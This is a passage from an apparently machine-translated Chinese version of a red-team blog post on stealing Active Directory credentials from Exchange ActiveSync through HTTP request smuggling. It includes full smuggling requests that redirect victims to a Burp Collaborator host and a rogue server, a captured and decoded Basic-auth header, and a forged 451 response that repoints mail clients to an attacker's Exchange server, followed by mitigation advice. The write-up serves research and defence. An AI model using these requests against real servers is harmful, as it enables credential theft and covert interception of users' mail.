\u7684\u6839\u6216\u7aef\u70b9\u53d1\u51fa\u8bf7\u6c42\uff0c\u800c\u4e0d\u662f\u5411\u7aef\u70b9\u53d1\u51fa\u8bf7\u6c42\uff08\u56e0\u4e3a\u5b83\u88ab\u91cd\u5b9a\u5411\u4e86\uff09\u3002\u4f46\u662f\uff0c\u5728\u67e5\u770b RFC7231\uff08<a href=\"https:\/\/tools.ietf.org\/html\/rfc7231#section-6.4.2\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u540e\uff0c\u5f88\u660e\u663e\uff0c\u63a5\u6536 \u7684\u5ba2\u6237\u7aef<em>\u53ef\u4ee5\u4e3a<\/em>\u540e\u7eed\u8bf7\u6c42\u7ef4\u62a4\u5176\u8bf7\u6c42\u65b9\u6cd5\u548c\u6b63\u6587\uff0c\u5c31\u50cf \uff08<em>\u5176\u4e2d\u5ba2\u6237\u7aef\u9700\u8981<\/em>\u7ef4\u62a4\u8bf7\u6c42\u65b9\u6cd5\u548c\u6b63\u6587\uff09\u4e00\u6837\u3002<code>GET<\/code><code>\/owa<\/code><code>hacker.com<\/code><code>OPTIONS<\/code><code>Microsoft-Server-ActiveSync<\/code><code>301 Moved Permanently<\/code><code>308 Permanent Redirect<\/code><\/p>\n\n\n\n<p>\u603b\u800c\u8a00\u4e4b\uff0c\u8fd9\u610f\u5473\u7740\u6709\u53ef\u80fd\u4ece\u7528\u6237\u90a3\u91cc\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\uff0c\u6211\u4eec\u5c06\u5728\u4e0b\u4e00\u7ae0\u4e2d\u4ecb\u7ecd\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"Gaining-situational-awareness\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#Gaining-situational-awareness\"><\/a>\u83b7\u5f97\u6001\u52bf\u611f\u77e5<\/h4>\n\n\n\n<p>\u5982 \u7684\u8bbf\u95ee\u65e5\u5fd7\u6240\u793a\uff0c\u53d7\u5bb3\u8005\u5c1d\u8bd5\u4f7f\u7528 \u6267\u884c\u540c\u6b65\u64cd\u4f5c\u3002ActiveSync\uff08<a href=\"https:\/\/docs.microsoft.com\/en-us\/exchange\/clients\/exchange-activesync\/exchange-activesync\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u662f\u4e00\u79cdHTTP\u534f\u8bae\uff0c\u5b83\u4f7f\u7528\u6237\u80fd\u591f\u4eceExchange\u670d\u52a1\u5668\u4e0b\u8f7d\u90ae\u4ef6\uff0c\u800c\u4e0d\u662f\u4f7f\u7528OWA\uff0cOWA\u4ec5\u5141\u8bb8\u7528\u6237\u5728Web\u5ba2\u6237\u7aef\u4e2d\u67e5\u770b\u90ae\u4ef6\u3002<code>hacker.com<\/code><code>Microsoft-Server-ActiveSync<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#1_normal_flow.svg\"><img decoding=\"async\" src=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/1_normal_flow.svg?thumbnail\" alt=\"\u6b63\u5e38\u7684\u540c\u6b65\u6d41\"\/><\/a><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u5728\u5404\u79cd\u90ae\u4ef6\u5ba2\u6237\u7aef\u4e2d\u914d\u7f6eActiveSync\uff0c\u4f8b\u5982Apple Mail\uff08<a href=\"https:\/\/support.apple.com\/en-us\/HT201729\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u3002\u4eceApple\u8fde\u63a5\u5230ActiveSync\u7aef\u70b9\u7684\u624b\u518c\u4e2d\u53ef\u4ee5\u770b\u51fa\uff0c\u7528\u6237\u5fc5\u987b\u63d0\u4f9b\u670d\u52a1\u5668\uff0c\u57df\uff0c\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002\u8fd9\u4e9b\u8be6\u7ec6\u4fe1\u606f\u5f88\u53ef\u80fd\u4f1a\u901a\u8fc7 HTTP \u8bf7\u6c42\u53d1\u9001\u5230\u670d\u52a1\u5668\u3002\u65e0\u8bba\u662f\u5728\u914d\u7f6e\u671f\u95f4\u8fd8\u662f\u5728\u6bcf\u4e2a\u8bf7\u6c42\u4e2d\u3002<\/p>\n\n\n\n<p>\u4f55\u65f6\u5c06\u51ed\u636e\u53d1\u9001\u5230\u670d\u52a1\u5668\u5b9e\u9645\u4e0a\u53d6\u51b3\u4e8e\u5728 Exchange \u4e2d\u914d\u7f6e\u7684\u8eab\u4efd\u9a8c\u8bc1\u7c7b\u578b\u3002\u5e38\u89c1\u7684\u8eab\u4efd\u9a8c\u8bc1\u7c7b\u578b\u662f\u201c\u65b0\u5f0f\u8eab\u4efd\u9a8c\u8bc1\u201d\uff08<a href=\"https:\/\/docs.microsoft.com\/en-us\/exchange\/clients\/outlook-for-ios-and-android\/use-hybrid-modern-auth?view=exchserver-2019\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\uff0c\u5b83\u4f7f\u7528 SAML \u534f\u8bae\uff0c\u56e0\u6b64\u5728\u4f7f\u7528\u7528\u6237\u540d\u548c\u5bc6\u7801\u8fdb\u884c\u521d\u59cb\u8eab\u4efd\u9a8c\u8bc1\u540e\u751f\u6210\u8eab\u4efd\u9a8c\u8bc1\u4ee4\u724c\u3002\u8eab\u4efd\u9a8c\u8bc1\u7c7b\u578b\u201c\u57fa\u672c\u8eab\u4efd\u9a8c\u8bc1\u201d\uff08<a href=\"https:\/\/docs.microsoft.com\/en-us\/exchange\/clients\/outlook-for-ios-and-android\/use-basic-auth\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u662f\u4e00\u79cd\u901a\u8fc7\u5728\u6bcf\u4e2a HTTP \u8bf7\u6c42\u4e2d\u53d1\u9001\u7528\u6237\u540d\u548c\u5bc6\u7801\uff08base64 \u7f16\u7801\uff09\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\u7684\u65b9\u6cd5\u3002<\/p>\n\n\n\n<p>\u4f60\u5f00\u59cb\u5174\u594b\u4e86\u5417\uff1f\u5982\u679c Exchange \u670d\u52a1\u5668\u914d\u7f6e\u4e3a\u5c06 ActiveSync \u4e0e\u57fa\u672c\u8eab\u4efd\u9a8c\u8bc1\u914d\u5408\u4f7f\u7528\uff0c\u5219\u7528\u6237\u5728\u6bcf\u4e2a HTTP \u8bf7\u6c42\u4e2d\u90fd\u4f1a\u53d1\u9001\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002\u7531\u4e8e\u6211\u4eec\u80fd\u591f\u6267\u884c HRS\uff0c\u6211\u4eec\u4e5f\u8bb8\u80fd\u591f\u62e6\u622a\u8fd9\u4e9b\u51ed\u636e\uff01<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"Harvesting-and-ab-using-credentials\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#Harvesting-and-ab-using-credentials\"><\/a>\u6536\u83b7\u548c\uff08\u6ee5\u7528\uff09\u4f7f\u7528\u51ed\u636e<\/h4>\n\n\n\n<p>\u6211\u4eec\u76ee\u524d\u77e5\u9053\uff0c\u6210\u529f\u7684 HRS \u653b\u51fb\u53ef\u4ee5\u5c06\u53d7\u5bb3\u8005\u91cd\u5b9a\u5411\u5230\u6d41\u6c13\u670d\u52a1\u5668\uff0c\u90ae\u4ef6\u5ba2\u6237\u7aef\u7ef4\u62a4\u8bf7\u6c42\u65b9\u6cd5\uff0c\u5f88\u53ef\u80fd\u8fd8\u4f1a\u7ef4\u62a4\u6807\u5934\u548c\u6b63\u6587\uff0c\u5e76\u4e14\u6211\u4eec\u77e5\u9053\u53d7\u5bb3\u8005\u5728\u6bcf\u4e2a ActiveSync \u8bf7\u6c42\u4e2d\u90fd\u53d1\u9001\u4e86\u4ed6\u4eec\u7684 base64 \u7f16\u7801\u51ed\u636e\u3002\u8fd9\u610f\u5473\u7740\u6211\u4eec\u8ddd\u79bb\u6355\u83b7\u8fd9\u4e9b\u51ed\u636e\u53ea\u6709\u4e00\u6b65\u4e4b\u9065\u3002<\/p>\n\n\n\n<p>\u5728\u6211\u4eec\u7684\u6d41\u6c13\u670d\u52a1\u5668\u4e0a\u6355\u83b7\u8bf7\u6c42\u6807\u5934\u53ef\u4ee5\u901a\u8fc7\u591a\u79cd\u65b9\u5f0f\u5b8c\u6210\u3002\u5bf9\u4e8e\u8fd9\u4e2a\u6982\u5ff5\u9a8c\u8bc1\uff0c\u6211\u9009\u62e9\u4f7f\u7528Burp Collaborator\uff08<a href=\"https:\/\/portswigger.net\/burp\/documentation\/collaborator\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\uff0c\u5b83\u5145\u5f53HTTP\u548c\u5176\u4ed6\u5404\u79cd\u534f\u8bae\u7684\u6240\u6709\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n<p>\u6211\u66f4\u6539\u4e86\u521d\u59cb HRS \u8bf7\u6c42\uff0c\u5c06\u53d7\u5bb3\u8005\u91cd\u5b9a\u5411\u5230\u6211\u7684\u6253\u55dd\u534f\u4f5c\u8005 URI \u800c\u4e0d\u662f .\u6700\u7ec8\u8bf7\u6c42\u5305\u542b\u5728\u4e0b\u9762<code>hacker.com<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>POST<\/strong> \/owa\/auth\/logon.aspx?2whS=929722944 HTTP\/1.1\n<strong> Transfer-Encoding<\/strong>: chunked\n<strong>Connection<\/strong>: keep-alive\n<strong>Host<\/strong>: owa.customer.com\n<strong>User-Agent<\/strong>: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko\/20100101 Firefox\/75.0\n<strong>Accept<\/strong>: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\n<strong>Accept-Language<\/strong>: nl,en-US;q=0.7,en;q=0.3\n<strong>Accept-Encoding<\/strong>: gzip, deflate\n<strong>Upgrade-Insecure-Requests<\/strong>: 1\n<strong>Content-Type<\/strong>: application\/x-www-form-urlencoded\n<strong>Content-Length<\/strong>: 165\n\n44\n6kqfa=x&amp;url=https%3a%2f%2fowa.customer.com%2fowa%2f&amp;reason=0&amp;whfto=x\n0\n\nGET https:\/\/xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net\/ HTTP\/1.1\nX-Ignore: 1<\/code><\/pre>\n\n\n\n<p>\u7247\u523b\u4e4b\u540e\uff0c\u6b63\u5982\u9884\u671f\u7684\u90a3\u6837\uff0cBurp Collaborator \u6355\u83b7\u4e86\u6765\u81ea\u53d7\u5bb3\u8005?\u7684 ActiveSync \u8bf7\u6c42\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/Microsoft-Server-ActiveSync?User=bob@customer.com&amp;DeviceId=e1568c571e684e0fb1724da85d215dc0&amp;DeviceType=iPhone&amp;Cmd=FolderSync\nHost: xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net\nContent-Type: application\/vnd.ms-sync.wbxml\nAccept: *\/*\nAccept-Language: nl-nl\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nMS-ASProtocolVersion: 14.1\nUser-Agent: Apple-iPhone11C8\/1804.70\nAuthorization: Basic Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy\nContent-Lengh: 13\nX-MS-PolicyKey: 0\n\njVR0<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u5df2\u7ecf\u6210\u529f\u6355\u83b7\u4e86\u5305\u542b\u53d7\u5bb3\u8005\u7f16\u7801\u51ed\u636e\u7684\u6388\u6743\u6807\u5934\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ echo Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy | base64 -D\ncustomer.com\\bob:hunter2<\/code><\/pre>\n\n\n\n<p>HRS \u653b\u51fb\u5982\u4e0b\u56fe\u6240\u793a\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#2_malicious_sync.svg\"><img decoding=\"async\" src=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/2_malicious_sync.svg?thumbnail\" alt=\"\u6076\u610f\u540c\u6b65\u6d41\"\/><\/a><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"Permanently-migrating-the-victims\u2019-mailbox-to-our-rogue-exchange-server\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#Permanently-migrating-the-victims%E2%80%99-mailbox-to-our-rogue-exchange-server\"><\/a>\u5c06\u53d7\u5bb3\u8005\u7684\u90ae\u7bb1\u6c38\u4e45\u8fc1\u79fb\u5230\u6211\u4eec\u7684\u6d41\u6c13\u4ea4\u6362\u670d\u52a1\u5668<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"The-undocumented-feature\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#The-undocumented-feature\"><\/a><del>\u672a<\/del>\u8bb0\u5f55\u7684\u529f\u80fd<\/h5>\n\n\n\n<p>\u4f5c\u4e3a\u4e00\u4e2a\u7ea2\u961f\uff0c\u6211\u4eec\u60f3\u66f4\u6df1\u5165\u5730\u7814\u7a76\u8fd9\u4e00\u53d1\u73b0\u53ef\u80fd\u4ea7\u751f\u7684\u5f71\u54cd\u3002\u51fa\u4e8e\u8fd9\u4e2a\u539f\u56e0\uff0c\u6211\u4eec\u4ece\u5a01\u80c1\u884c\u4e3a\u8005\u7684\u89d2\u5ea6\u5bfb\u627e\u4e86\u8fdb\u4e00\u6b65\u7684\u9009\u62e9\uff0c\u5176\u4e2d\u6700\u503c\u5f97\u6ce8\u610f\u7684\u662f\u6c38\u4e45\u8bbf\u95ee\u53d7\u5bb3\u8005\u7684\u51ed\u636e\u3002\u4e8b\u5b9e\u8bc1\u660e\uff0cActiveSync \u5177\u6709\u4e00\u9879\u201c\u529f\u80fd\u201d\uff0c\u5982\u679c\u7528\u6237\u7684\u90ae\u7bb1\u4ece\u672c\u5730\u8fc1\u79fb\u5230 Office365\uff08<a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/exchange_server_protocols\/ms-ashttp\/5702eaaa-e958-4c7f-8f31-71375b87228c\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\uff0c\u5219\u81ea\u52a8\u66f4\u65b0\u90ae\u4ef6\u5ba2\u6237\u7aef\u7684\u914d\u7f6e\u3002\u6b64\u529f\u80fd\u7684\u5de5\u4f5c\u65b9\u5f0f\u5982\u4e0b\uff08\u5982\u89c6\u89c9\u5bf9\u8c61\u6240\u793a\uff09\u3002<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u5ba2\u6237\u7aef\u5c1d\u8bd5\u901a\u8fc7 HTTP \u52a8\u6001\u540c\u6b65\u534f\u8bae\u68c0\u7d22\u90ae\u4ef6\u3002<\/li>\n\n\n\n<li>Exchange \u68c0\u67e5\u7528\u6237\u7684\u90ae\u7bb1\u662f\u5426\u5b58\u5728\u6216\u662f\u5426\u5df2\u8fc1\u79fb\u5230 Office365\u3002<\/li>\n\n\n\n<li>DC \u8fd4\u56de\u627e\u4e0d\u5230\u90ae\u7bb1\uff08\u8fd9\u610f\u5473\u7740\u5b83\u5df2\u8fc1\u79fb\uff09\u3002<\/li>\n\n\n\n<li>Exchange \u5c1d\u8bd5\u83b7\u53d6\u57df\uff08\u90ae\u7bb1\u6240\u5728\u7684\u4f4d\u7f6e\uff09\u7684 TargetOWAURL\u3002<\/li>\n\n\n\n<li>DC \u8fd4\u56de TargetOWAURL\uff08\u5728\u672c\u4f8b\u4e2d\u4e3a outlook.office365.com\uff09\u3002<\/li>\n\n\n\n<li>Exchange \u901a\u8fc7\u91cd\u5b9a\u5411\u5230 TargetOWAURL \u7684 HTTP 451 \u6765\u54cd\u5e94\u5ba2\u6237\u7aef\u3002<\/li>\n\n\n\n<li>\u5ba2\u6237\u7aef\u5c06 TargetOWAURL \u7528\u4e8e\u6240\u6709\u5c06\u6765\u7684\u8bf7\u6c42\u3002<\/li>\n\n\n\n<li>\u5bf9 TargetOWAURL \u7684 HTTP ActiveSync \u8bf7\u6c42\u6210\u529f\u3002<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#3_legit_migration.svg\"><img decoding=\"async\" src=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/3_legit_migration.svg?thumbnail\" alt=\"\u5728 Raivo OTP \u4e2d\u521b\u5efa\u4e00\u6b21\u6027\u5bc6\u7801\"\/><\/a><\/figure>\n\n\n\n<p>\u56e0\u6b64\uff0c\u603b\u800c\u8a00\u4e4b\uff0c\u5982\u679c Exchange \u670d\u52a1\u5668\u4e0e\u6807\u5934\u7ed3\u5408\u4f7f\u7528 a \u8fdb\u884c\u54cd\u5e94\uff0c\u5219\u53d7\u5bb3\u8005 Exchange \u670d\u52a1\u5668\u914d\u7f6e\u4f1a\u76f8\u5e94\u5730\u66f4\u65b0\u3002\u4e0b\u9762\u5305\u62ec\u6b64\u7c7b\u54cd\u5e94\u7684\u793a\u4f8b\u3002<code>451 Unavailable For Legal Reasons<\/code><code>X-MS-Location<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 451 Unavailable For Legal Reasons \n<strong>Date<\/strong>: Thu, 12 Mar 2009 20:16:22 GMT\n<strong>X-MS-Location<\/strong>: https:\/\/mail.contoso.com\/Microsoft-Server-ActiveSync\n<strong>Content-Length<\/strong>: 0<\/code><\/pre>\n\n\n\n<p>\u4f46\u662f\uff0c\u4f7f\u7528\u6211\u4eec\u7684HRS\u653b\u51fb\uff0c\u4e0d\u53ef\u80fd\u4e3a\u53d7\u5bb3\u8005\u751f\u6210\u4e00\u4e2a\u3002\u53ea\u80fd\u751f\u6210 \uff0c\u56e0\u4e3a\u8fd9\u662f\u5c06 URI \u6dfb\u52a0\u5230 GET \u8bf7\u6c42\u7684\u7b2c\u4e00\u884c\u65f6\u7684\u54cd\u5e94\u3002\u4f46\u662f\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 \u5c06\u53d7\u5bb3\u8005\u91cd\u5b9a\u5411\u5230\u6211\u4eec\u7684\u6d41\u6c13\u670d\u52a1\u5668\uff0c\u8be5\u670d\u52a1\u5668\u968f\u540e\u4f1a\u54cd\u5e94\u6d41\u6c13\u4ea4\u6362\u670d\u52a1\u5668\u3002\u5982\u679c\u6211\u4eec\u786e\u4fdd\u6d41\u6c13\u4ea4\u6362\u670d\u52a1\u5668\u53ea\u662f\u5408\u6cd5\u73af\u5883\u7684\u4ee3\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u6c38\u4e45\u5730\u5c06\u6240\u6709\u53d7\u5bb3\u8005\u7684 ActiveSync \u8bf7\u6c42\u7f6e\u4e8e\u4e2d\u95f4\u4eba\uff0c\u800c\u53d7\u5bb3\u8005\u4e0d\u4f1a\u6ce8\u610f\u5230\u4efb\u4f55\u4e8b\u60c5\u3002\u653b\u51fb\u6f14\u793a\u5982\u4e0b\u3002<code>451 Unavailable For Legal Reasons<\/code><code>301 Moved Permanently<\/code><code>301 Moved Permanently<\/code><code>451 Unavailable For Legal Reasons<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#4_malicious_migration.svg\"><img decoding=\"async\" src=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/4_malicious_migration.svg?thumbnail\" alt=\"\u5728 Raivo OTP \u4e2d\u521b\u5efa\u4e00\u6b21\u6027\u5bc6\u7801\"\/><\/a><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"Migrating-the-victims\u2019-mailbox-to-our-rogue-exchange\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#Migrating-the-victims%E2%80%99-mailbox-to-our-rogue-exchange\"><\/a>\u5c06\u53d7\u5bb3\u8005\u7684\u90ae\u7bb1\u8fc1\u79fb\u5230\u6211\u4eec\u7684\u6d41\u6c13\u4ea4\u6613\u6240<\/h5>\n\n\n\n<p>\u4e3a\u4e86\u8bc1\u660e\u4e0a\u8ff0\u7406\u8bba\u6709\u6548\uff0c\u6211\u4eec\u5c06\u201c\u53d7\u5bb3\u8005\u201d\uff08tgad.local\\<strong>bob<\/strong>\uff09\u8fde\u63a5\u5230\u6211\u4eec\u7684\u6f14\u793a\u73af\u5883;\u4ee3\u7406\u540e\u9762\u7684 Exchange \u670d\u52a1\u5668\u3002Bob \u4f7f\u7528 ActiveSync \u8fdb\u884c\u8fde\u63a5\u3002\u4ed6\u7684iOS Exchange\u914d\u7f6e\u5305\u542b\u5728\u4e0b\u9762\u3002<code>tgvmex01.local<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#5_legitimate_settings.png\"><img decoding=\"async\" src=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/5_legitimate_settings.png?thumbnail\" alt=\"\u5728 Raivo OTP \u4e2d\u521b\u5efa\u4e00\u6b21\u6027\u5bc6\u7801\"\/><\/a><\/figure>\n\n\n\n<p>\u60f3\u8981\u5c06 Bob \u7684\u90ae\u7bb1\u8fc1\u79fb\u5230\u6076\u610f\u4ea4\u6362\u670d\u52a1\u5668\u7684\u5a01\u80c1\u53c2\u4e0e\u8005\u9700\u8981\u9996\u5148\u6267\u884c HRS \u653b\u51fb\uff0c\u8be5\u653b\u51fb\u5c06 Bob \u7684 ActiveSync \u8bf7\u6c42\u91cd\u5b9a\u5411\u5230\u6076\u610f\u670d\u52a1\u5668\u3002\u4e0b\u9762\u5305\u62ec\u4e00\u4e2a\u793a\u4f8b\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>POST<\/strong> \/owa\/auth\/logon.aspx?2whS=929722944 HTTP\/1.1\n<strong> Transfer-Encoding<\/strong>: chunked\n<strong>Connection<\/strong>: keep-alive\n<strong>Host<\/strong>: tgvmex01.proxy\n<strong>User-Agent<\/strong>: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko\/20100101 Firefox\/75.0\n<strong>Accept<\/strong>: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\n<strong>Accept-Language<\/strong>: nl,en-US;q=0.7,en;q=0.3\n<strong>Accept-Encoding<\/strong>: gzip, deflate\n<strong>Upgrade-Insecure-Requests<\/strong>: 1\n<strong>Content-Type<\/strong>: application\/x-www-form-urlencoded\n<strong>Content-Length<\/strong>: 160\n\n3F\n6kqfa=x&amp;url=https%3a%2ftgvmex01.proxy%2fowa%2f&amp;reason=0&amp;whfto=x\n0\n\nGET https:\/\/rogue-server.remote\/ HTTP\/1.1\nX-Ignore: X<\/code><\/pre>\n\n\n\n<p>\u65e0\u8bba\u8bf7\u6c42\u662f\u4ec0\u4e48\uff0c\u670d\u52a1\u5668\u59cb\u7ec8\u63d0\u4f9b\u76f8\u540c\u7684\u54cd\u5e94\u3002\u6b64\u54cd\u5e94\u5305\u542b\u5728\u4e0b\u9762\uff0c\u5e76\u5728\u54cd\u5e94\u6807\u5934\u4e2d\u5177\u6709\u6076\u610f\u4ea4\u6362\u670d\u52a1\u5668\u7684\u72b6\u6001\u3002<code>rogue-server.com<\/code><code>451 Unavailable For Legal Reasons<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 451 Unavailable For Legal Reasons\n<strong>Date<\/strong>: Thu, 08 Apr 2021 18:14:22 GMT\n<strong>Server<\/strong>: Apache\/2.4.46 (Debian)\n<strong>X-MS-Location<\/strong>: https:\/\/rogue-exchange.remote\/\n<strong>Content-Length<\/strong>: 0\n<strong>Connection<\/strong>: close\n<strong>Content-Type<\/strong>: text\/html; charset=UTF-8<\/code><\/pre>\n\n\n\n<p>\u5f53 Bob \u6210\u4e3a HRS \u653b\u51fb\u7684\u53d7\u5bb3\u8005\u65f6\uff0c\u4ed6\u5c06\u6536\u5230\u6d41\u6c13\u670d\u52a1\u5668\u7684\u54cd\u5e94\u3002Bob \u7684\u7535\u5b50\u90ae\u4ef6\u5ba2\u6237\u7aef\u4f1a\u5c06\u670d\u52a1\u5668\u5730\u5740\u66f4\u6539\u4e3a \uff0c\u56e0\u4e3a\u54cd\u5e94\u6307\u793a\u90ae\u7bb1\u5df2\u8fc1\u79fb\u5230\u6b64\u6076\u610f\u4ea4\u6362\u3002<code>451 Unavailable For Legal Reasons<\/code><code>rogue-exchange.remote<\/code><\/p>\n\n\n\n<p>\u8fd9\u6b21\u653b\u51fb\u7684\u524d\u51e0\u6b21\u5c1d\u8bd5\u90fd\u6ca1\u6709\u594f\u6548\u3002\u4f46\u662f\u5728\u8fde\u7eed\u5c1d\u8bd5\u4e86\u51e0\u6b21\u4e4b\u540e\uff0cHRS\u653b\u51fb\u6700\u7ec8\u89e6\u53d1\u4e86Bob\u7684\u540c\u6b65\u8bf7\u6c42\uff0c\u5bfc\u81f4Bob\u7684\u90ae\u4ef6\u5ba2\u6237\u7aef\u5c06\u914d\u7f6e\u66f4\u6539\u4e3a\u6d41\u6c13\u4ea4\u6362\uff0c\u5982\u4e0b\u9762\u7684Bob\u7684Exchange\u8bbe\u7f6e\u6240\u793a\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#6_rogue_settings.png\"><img decoding=\"async\" src=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/6_rogue_settings.png?thumbnail\" alt=\"\u5728 Raivo OTP \u4e2d\u521b\u5efa\u4e00\u6b21\u6027\u5bc6\u7801\"\/><\/a><\/figure>\n\n\n\n<p>\u80dc\u5229?\uff01\u7531\u4e8e\u6d41\u6c13\u4ea4\u6613\u6240\u5c06\u6240\u6709\u8bf7\u6c42\u4ee3\u7406\u5230\u5408\u6cd5\u4ea4\u6613\u6240\uff0cBob \u4e0d\u4f1a\u6ce8\u610f\u5230\u6076\u610f\u914d\u7f6e\u66f4\u6539\uff08\u9664\u975e\u4ed6\u67e5\u770b\u4ed6\u7684 Exchange \u8bbe\u7f6e\uff09\u3002\u4f5c\u4e3a\u5a01\u80c1\u53c2\u4e0e\u8005\uff0c\u6211\u4eec\u73b0\u5728\u80fd\u591f\u62e6\u622a\u4ed6\u7684\u6240\u6709 ActiveSync \u8bf7\u6c42\uff0c\u5373\u4f7f\u5728 Bob \u66f4\u6539\u5176\u51ed\u636e\u540e\u4e5f\u662f\u5982\u6b64\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Mitigation\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#Mitigation\"><\/a>\u7f13\u89e3<\/h3>\n\n\n\n<p>\u5b58\u5728\u9488\u5bf9 HRS \u6f0f\u6d1e\u7684\u591a\u79cd\u7f13\u89e3\u63aa\u65bd\u3002\u5728\u7406\u60f3\u60c5\u51b5\u4e0b\uff0c\u4ee3\u7406\u670d\u52a1\u5668\u548c\u540e\u7aef\u670d\u52a1\u5668\uff08\u5728\u672c\u4f8b\u4e2d\u4e3a Exchange\uff09\u5b8c\u5168\u6309\u7167 RFC7231\uff08<a href=\"https:\/\/tools.ietf.org\/html\/rfc7231\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u4e2d\u6240\u8ff0\u89e3\u91ca HTTP \u8bf7\u6c42\u3002\u8fd9\u5c06\u9632\u6b62HRS\u6f0f\u6d1e\uff0c\u56e0\u4e3a\u4e24\u4e2a\u670d\u52a1\u5668\u4ee5\u76f8\u540c\u7684\u65b9\u5f0f\u89e3\u91caHTTP\u8bf7\u6c42\u7684\u8fb9\u754c\u3002<\/p>\n\n\n\n<p>\u7136\u800c\uff0c\u6211\u4eec\u5e76\u4e0d\u662f\u751f\u6d3b\u5728\u7406\u60f3\u7684\u4e16\u754c\u4e2d\u3002\u66f4\u597d\u7684\u7f13\u89e3\u63aa\u65bd\u662f\u5728\u4ee3\u7406\u548c\u540e\u7aef\u4e4b\u95f4\u7981\u7528\uff08\u6027\u80fd\u4f18\u5316\uff09\uff0c\u4ee5\u4fbf\u901a\u8fc7\u5355\u72ec\u7684\u7f51\u7edc\u8fde\u63a5\u53d1\u9001\u6bcf\u4e2a\u8bf7\u6c42\u3002\u6b64\u5916\uff0c\u53ef\u4ee5\u901a\u8fc7\u5f3a\u5236\u4ece\u4ee3\u7406\u5230\u540e\u7aef\u7684 HTTP\/2 \u8fde\u63a5\u6765\u7f13\u89e3 HRS\uff0c\u56e0\u4e3a\u6b64\u7248\u672c\u7684 HTTP \u534f\u8bae\u4e2d\u4e0d\u4f1a\u51fa\u73b0 HRS 